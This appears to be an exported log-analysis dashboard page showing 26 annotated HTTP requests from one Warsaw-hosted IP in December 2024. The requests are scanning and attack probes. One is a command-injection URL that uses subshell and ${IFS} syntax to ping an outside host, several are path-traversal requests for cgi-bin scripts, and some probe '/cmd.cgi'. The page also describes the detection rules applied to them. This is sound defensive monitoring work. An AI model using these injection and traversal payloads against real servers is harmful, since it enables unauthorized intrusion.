← Back to IP report

Log Explorer

Fact drill-down for 195.3.223.52

Risk 5 LOW Scope All time All-time facts 26 In-scope 26 Filtered 26 Seen 2024-12-11 → 2024-12-20

Freestyle query (contains)

Time (days, optional)

Page size 25 50 100 200

Apply Reset (all-time)

Active (none) Clear

Faceted filters (facts-based) exact core + snapshot + optional start/end

Annotation facets

Annotator (exact) (any) base — 15 trav — 4 cmdi — 3 sfp — 2 ua — 2 Severity (exact) (any) (none) — 15 30 — 3 34 — 2 28 — 2 6 — 2 26 — 2 Label (exact) (any) observed — 15 trav — 4 cmdi — 3 sensitive_file — 2 ua — 2

HTTP facets

Method (exact, case-insensitive) (any) GET — 26 HTTP status (exact) (any) 301 — 20 (none) — 4 400 — 2

Snapshot facets

Subnet (exact) (any) 195.3.223.0/24 — 26 ASN (exact) (any) 201814 — 26 Country / Region / City (exact)

(any country) Poland — 26 (any region) Mazovia — 26

(any city) Warsaw — 26

Org contains (ip_org or as_org_name)

Custom time window (optional override)

Provide start/end to scope time explicitly (overrides days). Leave blank for all-time.

Start

End

Tip: keep windows tight when you need speed, but the default is fact-complete.

Top annotators (facts, in-scope)

base 15 trav 4 cmdi 3 sfp 2 ua 2

Top labels (facts, in-scope)

observed 15 trav 4 cmdi 3 sensitive_file 2 ua 2

Click a pill to apply it as a filter.

Annotated access events

Showing page 1 / 1 — total 26 rows

← Prev Next →

# 2024-12-20 12:19:29 event 2444341 GET 301 bytes 169

ann base label observed

Request event observed

/cgi/$(ping${IFS}-c1${IFS}194.107.126.7)

referer

-

UA

Linux Gnu (cow)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/cgi/$(ping${IFS}-c1${IFS}194.107.126.7)

referer

-

UA

Linux Gnu (cow)

summary

event observed

details

—

subnet

195.3.223.0/24

asn

201814 — MEVSPACE sp. z o.o.

geo

Poland, Mazovia, Warsaw

org

MEVSPACE sp. z o.o

# 2024-12-20 12:19:29 event 2444341 GET 301 bytes 169

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:subshell

/cgi/$(ping${IFS}-c1${IFS}194.107.126.7)

referer

-

UA

Linux Gnu (cow)

Annotation facts

label

cmdi

rule

cmdi:subshell

conf

92.00

details

Detected subshell execution syntax (`...` or $(...)). Snippet='GET /cgi/$(ping${IFS}-c1${IFS}194.107.126.7) -'

More (full fields + snapshot) expand

url

/cgi/$(ping${IFS}-c1${IFS}194.107.126.7)

referer

-

UA

Linux Gnu (cow)

summary

Command/file-injection indicator: cmdi:subshell

details

Detected subshell execution syntax (`...` or $(...)). Snippet='GET /cgi/$(ping${IFS}-c1${IFS}194.107.126.7) -'

subnet

195.3.223.0/24

asn

201814 — MEVSPACE sp. z o.o.

geo

Poland, Mazovia, Warsaw

org

MEVSPACE sp. z o.o

# 2024-12-20 11:56:27 event 2443959 GET 301 bytes 169

ann base label observed

Request event observed

/cgi/$(ping${IFS}-c1${IFS}194.107.126.7)

referer

-

UA

Linux Gnu (cow)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/cgi/$(ping${IFS}-c1${IFS}194.107.126.7)

referer

-

UA

Linux Gnu (cow)

summary

event observed

details

—

subnet

195.3.223.0/24

asn

201814 — MEVSPACE sp. z o.o.

geo

Poland, Mazovia, Warsaw

org

MEVSPACE sp. z o.o

# 2024-12-20 11:56:27 event 2443959 GET 301 bytes 169

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:subshell

/cgi/$(ping${IFS}-c1${IFS}194.107.126.7)

referer

-

UA

Linux Gnu (cow)

Annotation facts

label

cmdi

rule

cmdi:subshell

conf

92.00

details

Detected subshell execution syntax (`...` or $(...)). Snippet='GET /cgi/$(ping${IFS}-c1${IFS}194.107.126.7) -'

More (full fields + snapshot) expand

url

/cgi/$(ping${IFS}-c1${IFS}194.107.126.7)

referer

-

UA

Linux Gnu (cow)

summary

Command/file-injection indicator: cmdi:subshell

details

Detected subshell execution syntax (`...` or $(...)). Snippet='GET /cgi/$(ping${IFS}-c1${IFS}194.107.126.7) -'

subnet

195.3.223.0/24

asn

201814 — MEVSPACE sp. z o.o.

geo

Poland, Mazovia, Warsaw

org

MEVSPACE sp. z o.o

# 2024-12-20 11:30:32 event 2443886 GET 301 bytes 169

ann base label observed

Request event observed

/cgi/$(ping${IFS}-c1${IFS}194.107.126.7)

referer

-

UA

Linux Gnu (cow)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/cgi/$(ping${IFS}-c1${IFS}194.107.126.7)

referer

-

UA

Linux Gnu (cow)

summary

event observed

details

—

subnet

195.3.223.0/24

asn

201814 — MEVSPACE sp. z o.o.

geo

Poland, Mazovia, Warsaw

org

MEVSPACE sp. z o.o

# 2024-12-20 11:30:32 event 2443886 GET 301 bytes 169

ann cmdi 30 label cmdi

Request Command/file-injection indicator: cmdi:subshell

/cgi/$(ping${IFS}-c1${IFS}194.107.126.7)

referer

-

UA

Linux Gnu (cow)

Annotation facts

label

cmdi

rule

cmdi:subshell

conf

92.00

details

Detected subshell execution syntax (`...` or $(...)). Snippet='GET /cgi/$(ping${IFS}-c1${IFS}194.107.126.7) -'

More (full fields + snapshot) expand

url

/cgi/$(ping${IFS}-c1${IFS}194.107.126.7)

referer

-

UA

Linux Gnu (cow)

summary

Command/file-injection indicator: cmdi:subshell

details

Detected subshell execution syntax (`...` or $(...)). Snippet='GET /cgi/$(ping${IFS}-c1${IFS}194.107.126.7) -'

subnet

195.3.223.0/24

asn

201814 — MEVSPACE sp. z o.o.

geo

Poland, Mazovia, Warsaw

org

MEVSPACE sp. z o.o

# 2024-12-20 07:46:55 event 2442841 GET 301 bytes 169

ann base label observed

Request event observed

/cgi-bin/ExportSettings.sh

referer

-

UA

Linux Gnu (cow)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/cgi-bin/ExportSettings.sh

referer

-

UA

Linux Gnu (cow)

summary

event observed

details

—

subnet

195.3.223.0/24

asn

201814 — MEVSPACE sp. z o.o.

geo

Poland, Mazovia, Warsaw

org

MEVSPACE sp. z o.o

# 2024-12-20 07:44:26 event 2442824 GET 301 bytes 169

ann base label observed

Request event observed

/cgi-bin/ExportSettings.sh

referer

-

UA

Linux Gnu (cow)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/cgi-bin/ExportSettings.sh

referer

-

UA

Linux Gnu (cow)

summary

event observed

details

—

subnet

195.3.223.0/24

asn

201814 — MEVSPACE sp. z o.o.

geo

Poland, Mazovia, Warsaw

org

MEVSPACE sp. z o.o

# 2024-12-19 11:06:20 event 2298532 GET 301 bytes 169

ann base label observed

Request event observed

/extra/portal/../../cgi-bin/history.sh

referer

-

UA

Linux Gnu (cow)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/extra/portal/../../cgi-bin/history.sh

referer

-

UA

Linux Gnu (cow)

summary

event observed

details

—

subnet

195.3.223.0/24

asn

201814 — MEVSPACE sp. z o.o.

geo

Poland, Mazovia, Warsaw

org

MEVSPACE sp. z o.o

# 2024-12-19 11:06:20 event 2298532 GET 301 bytes 169

ann trav 26 label trav

Request Path traversal / LFI indicator detected

/extra/portal/../../cgi-bin/history.sh

referer

-

UA

Linux Gnu (cow)

Annotation facts

label

trav

rule

trav:mixed_separators

conf

90.00

details

Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.

More (full fields + snapshot) expand

url

/extra/portal/../../cgi-bin/history.sh

referer

-

UA

Linux Gnu (cow)

summary

Path traversal / LFI indicator detected

details

Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.

subnet

195.3.223.0/24

asn

201814 — MEVSPACE sp. z o.o.

geo

Poland, Mazovia, Warsaw

org

MEVSPACE sp. z o.o

# 2024-12-19 11:06:20 event 2298532 GET 301 bytes 169

ann trav 28 label trav

Request Path traversal / LFI indicator detected

/extra/portal/../../cgi-bin/history.sh

referer

-

UA

Linux Gnu (cow)

Annotation facts

label

trav

rule

trav:dotdot_slash

conf

92.00

details

Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.

More (full fields + snapshot) expand

url

/extra/portal/../../cgi-bin/history.sh

referer

-

UA

Linux Gnu (cow)

summary

Path traversal / LFI indicator detected

details

Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.

subnet

195.3.223.0/24

asn

201814 — MEVSPACE sp. z o.o.

geo

Poland, Mazovia, Warsaw

org

MEVSPACE sp. z o.o

# 2024-12-19 11:06:20 event 2298532 GET 301 bytes 169

ann sfp 34 label sensitive_file

Request Directory traversal indicator

/extra/portal/../../cgi-bin/history.sh

referer

-

UA

Linux Gnu (cow)

Annotation facts

label

sensitive_file

rule

sfp:traversal

conf

86.00

details

Traversal sequences were present (raw or encoded). Snippet='/extra/portal/../../cgi-bin/history.sh'

More (full fields + snapshot) expand

url

/extra/portal/../../cgi-bin/history.sh

referer

-

UA

Linux Gnu (cow)

summary

Directory traversal indicator

details

Traversal sequences were present (raw or encoded). Snippet='/extra/portal/../../cgi-bin/history.sh'

subnet

195.3.223.0/24

asn

201814 — MEVSPACE sp. z o.o.

geo

Poland, Mazovia, Warsaw

org

MEVSPACE sp. z o.o

# 2024-12-19 11:01:33 event 2298501 GET 301 bytes 169

ann base label observed

Request event observed

/extra/portal/../../cgi-bin/history.sh

referer

-

UA

Linux Gnu (cow)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/extra/portal/../../cgi-bin/history.sh

referer

-

UA

Linux Gnu (cow)

summary

event observed

details

—

subnet

195.3.223.0/24

asn

201814 — MEVSPACE sp. z o.o.

geo

Poland, Mazovia, Warsaw

org

MEVSPACE sp. z o.o

# 2024-12-19 11:01:33 event 2298501 GET 301 bytes 169

ann trav 26 label trav

Request Path traversal / LFI indicator detected

/extra/portal/../../cgi-bin/history.sh

referer

-

UA

Linux Gnu (cow)

Annotation facts

label

trav

rule

trav:mixed_separators

conf

90.00

details

Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.

More (full fields + snapshot) expand

url

/extra/portal/../../cgi-bin/history.sh

referer

-

UA

Linux Gnu (cow)

summary

Path traversal / LFI indicator detected

details

Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.

subnet

195.3.223.0/24

asn

201814 — MEVSPACE sp. z o.o.

geo

Poland, Mazovia, Warsaw

org

MEVSPACE sp. z o.o

# 2024-12-19 11:01:33 event 2298501 GET 301 bytes 169

ann trav 28 label trav

Request Path traversal / LFI indicator detected

/extra/portal/../../cgi-bin/history.sh

referer

-

UA

Linux Gnu (cow)

Annotation facts

label

trav

rule

trav:dotdot_slash

conf

92.00

details

Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.

More (full fields + snapshot) expand

url

/extra/portal/../../cgi-bin/history.sh

referer

-

UA

Linux Gnu (cow)

summary

Path traversal / LFI indicator detected

details

Detected explicit traversal/LFI mechanics (dotdot segments, encoded traversal, local file / stream wrappers, or sensitive file targets). This annotator intentionally does not fire on mere URL depth or on traversal-ish parameter names without mechanics.

subnet

195.3.223.0/24

asn

201814 — MEVSPACE sp. z o.o.

geo

Poland, Mazovia, Warsaw

org

MEVSPACE sp. z o.o

# 2024-12-19 11:01:33 event 2298501 GET 301 bytes 169

ann sfp 34 label sensitive_file

Request Directory traversal indicator

/extra/portal/../../cgi-bin/history.sh

referer

-

UA

Linux Gnu (cow)

Annotation facts

label

sensitive_file

rule

sfp:traversal

conf

86.00

details

Traversal sequences were present (raw or encoded). Snippet='/extra/portal/../../cgi-bin/history.sh'

More (full fields + snapshot) expand

url

/extra/portal/../../cgi-bin/history.sh

referer

-

UA

Linux Gnu (cow)

summary

Directory traversal indicator

details

Traversal sequences were present (raw or encoded). Snippet='/extra/portal/../../cgi-bin/history.sh'

subnet

195.3.223.0/24

asn

201814 — MEVSPACE sp. z o.o.

geo

Poland, Mazovia, Warsaw

org

MEVSPACE sp. z o.o

# 2024-12-12 17:04:51 event 2319376 GET http —

ann ua 6 label ua

Request Missing User-Agent header

/

referer

—

UA

—

Annotation facts

label

ua

rule

ua:missing

conf

60.00

details

Request had no User-Agent value (missing/empty field).

More (full fields + snapshot) expand

url

/

referer

—

UA

—

summary

Missing User-Agent header

details

Request had no User-Agent value (missing/empty field).

subnet

195.3.223.0/24

asn

201814 — MEVSPACE sp. z o.o.

geo

Poland, Mazovia, Warsaw

org

MEVSPACE sp. z o.o

# 2024-12-12 17:04:51 event 2319377 GET 400 bytes 255

ann base label observed

Request event observed

/

referer

-

UA

Linux Gnu (cow)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Linux Gnu (cow)

summary

event observed

details

—

subnet

195.3.223.0/24

asn

201814 — MEVSPACE sp. z o.o.

geo

Poland, Mazovia, Warsaw

org

MEVSPACE sp. z o.o

# 2024-12-12 17:04:51 event 2319376 GET http —

ann base label observed

Request event observed

/

referer

—

UA

—

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

—

UA

—

summary

event observed

details

—

subnet

195.3.223.0/24

asn

201814 — MEVSPACE sp. z o.o.

geo

Poland, Mazovia, Warsaw

org

MEVSPACE sp. z o.o

# 2024-12-12 16:47:04 event 2319304 GET http —

ann ua 6 label ua

Request Missing User-Agent header

/

referer

—

UA

—

Annotation facts

label

ua

rule

ua:missing

conf

60.00

details

Request had no User-Agent value (missing/empty field).

More (full fields + snapshot) expand

url

/

referer

—

UA

—

summary

Missing User-Agent header

details

Request had no User-Agent value (missing/empty field).

subnet

195.3.223.0/24

asn

201814 — MEVSPACE sp. z o.o.

geo

Poland, Mazovia, Warsaw

org

MEVSPACE sp. z o.o

# 2024-12-12 16:47:04 event 2319305 GET 400 bytes 255

ann base label observed

Request event observed

/

referer

-

UA

Linux Gnu (cow)

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Linux Gnu (cow)

summary

event observed

details

—

subnet

195.3.223.0/24

asn

201814 — MEVSPACE sp. z o.o.

geo

Poland, Mazovia, Warsaw

org

MEVSPACE sp. z o.o

# 2024-12-12 16:47:04 event 2319304 GET http —

ann base label observed

Request event observed

/

referer

—

UA

—

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

—

UA

—

summary

event observed

details

—

subnet

195.3.223.0/24

asn

201814 — MEVSPACE sp. z o.o.

geo

Poland, Mazovia, Warsaw

org

MEVSPACE sp. z o.o

# 2024-12-11 05:31:42 event 2136795 GET 301 bytes 169

ann base label observed

Request event observed

/cmd.cgi

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/cmd.cgi

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36

summary

event observed

details

—

subnet

195.3.223.0/24

asn

201814 — MEVSPACE sp. z o.o.

geo

Poland, Mazovia, Warsaw

org

MEVSPACE sp. z o.o

# 2024-12-11 05:31:42 event 2136794 GET 301 bytes 169

ann base label observed

Request event observed

/cmd.cgi

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/cmd.cgi

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36

summary

event observed

details

—

subnet

195.3.223.0/24

asn

201814 — MEVSPACE sp. z o.o.

geo

Poland, Mazovia, Warsaw

org

MEVSPACE sp. z o.o

# 2024-12-11 05:08:40 event 2136643 GET 301 bytes 169

ann base label observed

Request event observed

/cmd.cgi

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/cmd.cgi

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36

summary

event observed

details

—

subnet

195.3.223.0/24

asn

201814 — MEVSPACE sp. z o.o.

geo

Poland, Mazovia, Warsaw

org

MEVSPACE sp. z o.o

# 2024-12-11 05:08:40 event 2136642 GET 301 bytes 169

ann base label observed

Request event observed

/cmd.cgi

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/cmd.cgi

referer

-

UA

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Safari/537.36

summary

event observed

details

—

subnet

195.3.223.0/24

asn

201814 — MEVSPACE sp. z o.o.

geo

Poland, Mazovia, Warsaw

org

MEVSPACE sp. z o.o

Page 1 of 1

← Prev Next →